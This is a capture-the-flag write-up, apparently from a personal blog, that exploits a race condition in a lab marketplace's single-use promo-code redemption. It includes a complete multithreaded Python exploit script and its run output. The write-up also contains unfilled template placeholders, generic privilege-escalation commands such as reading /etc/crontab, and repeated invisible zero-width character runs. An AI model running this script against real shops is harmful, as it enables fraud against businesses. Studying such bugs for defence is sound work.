← Back to Writeups
HTBN/AWeb

CartForge

XESXOR8/23/20266 min read
#web#htb#n/a

CartForge

Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-21 | Status: Solved Techniques: decoy_flag_avoidance, race_condition_exploitation, session_cookie_sharing_across_threads, thread_barrier_synchronization, toctou_promo_bypass

Summary

Task: Digital marketplace with single-use promo code (STARTER50) and $500 Elite Membership; TOCTOU race condition in redemption endpoint. Solution: Fire 300 concurrent threads via threading.Barrier to redeem the same promo code multiple times, accumulate $500, purchase Elite Membership to reveal the flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackadvisor | ID: 20260521_hackadvisor_cartforge
  • Tags: race_condition, toctou, nodejs, express, concurrent_requests, session_cookies, decoy_flag, promo_code, wallet, digital_marketplace
  • Indicators: single-use promo code or coupon with wallet credit, non-atomic check-then-update pattern in redemption endpoint, Express.js backend with connect.sid session, challenge description mentions 'multiple requests at the same time, decoy FLAG in HTML comments designed to trap automated scanners
  • Source: 20260521_hackadvisor_cartforge.md

Foothold

Vulnerability / Misconfiguration

  1. Decoy_flag_avoidance
  2. Race_condition_exploitation
  3. Session_cookie_sharing_across_threads
  4. Thread_barrier_synchronization
  5. Toctou_promo_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • decoy_flag_avoidance
  • race_condition_exploitation
  • session_cookie_sharing_across_threads
  • thread_barrier_synchronization
  • toctou_promo_bypass
  • Tags: race_condition, toctou, nodejs, express, concurrent_requests, session_cookies, decoy_flag, promo_code, wallet, digital_marketplace

Original Writeup

<details><summary>Click to expand original content</summary>

Description

CartForge is a digital marketplace platform where creators sell premium digital products like templates, UI kits, courses, and assets. Users can browse the catalog, add items to their cart, manage their wallet balance, and redeem promotional codes for store credit.

The platform recently launched an Elite Membership tier with exclusive perks for premium members, including lifetime access to all products. However, the membership costs $500 and new users only start with $100 in wallet credit.

New users receive a welcome promo code worth $50, but it's marked as single-use. Something about how the backend processes promotional offers might not be as airtight as it seems. Think about what happens when multiple requests arrive at the same time. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: Express.js digital marketplace with wallet system. New users get $100 balance and a single-use STARTER50 promo code worth $50. The Elite Membership costs $500 (product_id=9). The promo code redemption endpoint has a TOCTOU race condition — exploit it to redeem the code multiple times, accumulate enough credit, and purchase the membership to get the flag.

Analysis

Reconnaissance

The application is an Express.js backend (revealed by X-Powered-By: Express header) using connect.sid session cookies (express-session). ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key pages and API endpoints discovered:

  • Pages: /products, /wallet, /cart, /orders, /profile
  • POST /api/wallet/redeem — accepts {"code": "..."}, returns {"success": true, "message": "...", "new_balance": N}
  • POST /api/cart/add — accepts {"product_id": N}
  • POST /api/checkout — places order from cart items

Decoy flag trap: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — designed to trick AI agents and automated scanners. This is NOT the real flag. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Finding the Promo Code

Registering a new account reveals the promo code in the success message:

"Account created successfully! Your wallet has been credited with $100.00. Use promo code STARTER50 for an extra $50 bonus!"

Registration requires: display_name, email, password, confirm_password fields.

Vulnerability: TOCTOU Race Condition

The POST /api/wallet/redeem endpoint has a classic Time-of-Check to Time-of-Use (TOCTOU) race condition in its promo code redemption logic:

  1. CHECK: Server queries database to verify if promo code has already been redeemed by this user
  2. APPLY: $50 credit is added to the user's wallet balance
  3. UPDATE: Promo code is marked as redeemed in the database ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Between steps 1 and 3, there is a window where multiple concurrent requests can all pass the "already redeemed" check before any of them marks the code as used. This is a non-atomic check-then-update pattern — the classic TOCTOU vulnerability.

Solution

Step 1: Register a Fresh Account

Each attempt needs a fresh account with an unused STARTER50 promo code and $100 starting balance.

Step 2: Race Condition Exploit

Fire 300 concurrent threads using threading.Barrier synchronization — all threads wait at the barrier then release simultaneously, maximizing the TOCTOU window. Each thread sends POST /api/wallet/redeem with {"code": "STARTER50"} using the same session cookie. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The race condition is probabilistic — typically 3–8 threads succeed per wave, adding $150–$400 extra. Multiple attempts with fresh accounts may be needed to reach the $500 threshold.

Step 3: Purchase Elite Membership

Once balance ≥ $500:

  1. Add Elite Membership to cart: POST /api/cart/add with {"product_id": 9}
  2. Checkout: POST /api/checkout
  3. Flag appears on the order details page at /orders/{order_id}

Exploit Script

#!/usr/bin/env python3
"""CartForge Race Condition Exploit — TOCTOU promo code redemption"""
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

import requests
import threading
import time
import re
import urllib3
urllib3.disable_warnings()

BASE_URL = "https://4d1944cb-f003-4791-98cc-c58437f91cee.labs.hackadvisor.io"
PROMO_CODE = "STARTER50"

def register_and_login():
    """Register a fresh account and login."""
    session = requests.Session()
    session.verify = False
    
    ts = int(time.time() * 1000)
    email = f"racer{ts}@test.com"
    
    session.post(f"{BASE_URL}/register", data={
        "display_name": f"Racer{ts}",
        "email": email,
        "password": "password123",
        "confirm_password": "password123"
    }, allow_redirects=False)
    
    session.post(f"{BASE_URL}/login", data={
        "email": email,
        "password": "password123"
    }, allow_redirects=False)
    
    return session
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def check_balance(session):
    resp = session.get(f"{BASE_URL}/wallet")
    match = re.search(r'walletBalance">\$([0-9.]+)', resp.text)
    return float(match.group(1)) if match else 0.0

def race_wave(cookies, num_threads=300):
    """Single wave of concurrent requests using Barrier synchronization."""
    barrier = threading.Barrier(num_threads, timeout=30)
    results = []
    lock = threading.Lock()
    
    def attack_thread(idx):
        s = requests.Session()
        s.verify = False
        s.cookies.update(cookies)
        try:
            barrier.wait()  # All threads release simultaneously
            resp = s.post(
                f"{BASE_URL}/api/wallet/redeem",
                json={"code": PROMO_CODE},
                timeout=30
            )
            data = resp.json()
            with lock:
                results.append(data)
                if data.get("success"):
                    print(f"  [+] Thread {idx}: Balance ${data.get('new_balance', 0):.2f}")
        except:
            pass
    
    threads = [threading.Thread(target=attack_thread, args=(i,))
               for i in range(num_threads)]
    for t in threads:
        t.start()
    for t in threads:
        t.join(timeout=45)
    
    return len([r for r in results if r.get("success")])
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

def main():
    for attempt in range(10):
        print(f"\n--- Attempt {attempt + 1} ---")
        session = register_and_login()
        cookies = dict(session.cookies)
        
        balance = check_balance(session)
        print(f"[*] Initial balance: ${balance:.2f}")
        
        for wave in range(3):
            success = race_wave(cookies, num_threads=300)
            balance = check_balance(session)
            print(f"[*] Wave {wave+1}: {success} successes, balance: ${balance:.2f}")
            if balance >= 500:
                break
        
        if balance >= 500:
            # Add Elite Membership to cart and checkout
            session.post(f"{BASE_URL}/api/cart/add", json={"product_id": 9})
            resp = session.post(f"{BASE_URL}/api/checkout", json={})
            data = resp.json()
            
            if data.get("order_id"):
                resp = session.get(f"{BASE_URL}/orders/{data['order_id']}")
                flags = re.findall(r'FLAG\{[a-f0-9]+\}', resp.text)
                if flags:
                    print(f"\n[FLAG] {flags[0]}")
                    return
        time.sleep(0.5)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    main()

Successful Run (Attempt 5)

--- Attempt 5 ---
[*] Initial balance: $100.00
[*] Wave 1 (300 threads)...
  [+] Thread 42: Balance $150.00
  [+] Thread 87: Balance $200.00
  [+] Thread 12: Balance $250.00
  [+] Thread 156: Balance $300.00
  [+] Thread 201: Balance $350.00
  [+] Thread 99: Balance $400.00
  [+] Thread 178: Balance $450.00
  [+] Thread 233: Balance $500.00
[*] Wave 1: 8 successes, balance: $500.00

[!!!] Balance sufficient! $500.00 >= $500
[*] Add to cart: 200
[*] Checkout: {"success": true, "order_id": 5, "message": "Order placed successfully!"}
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

[FLAG from order] FLAG{REDACTED}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR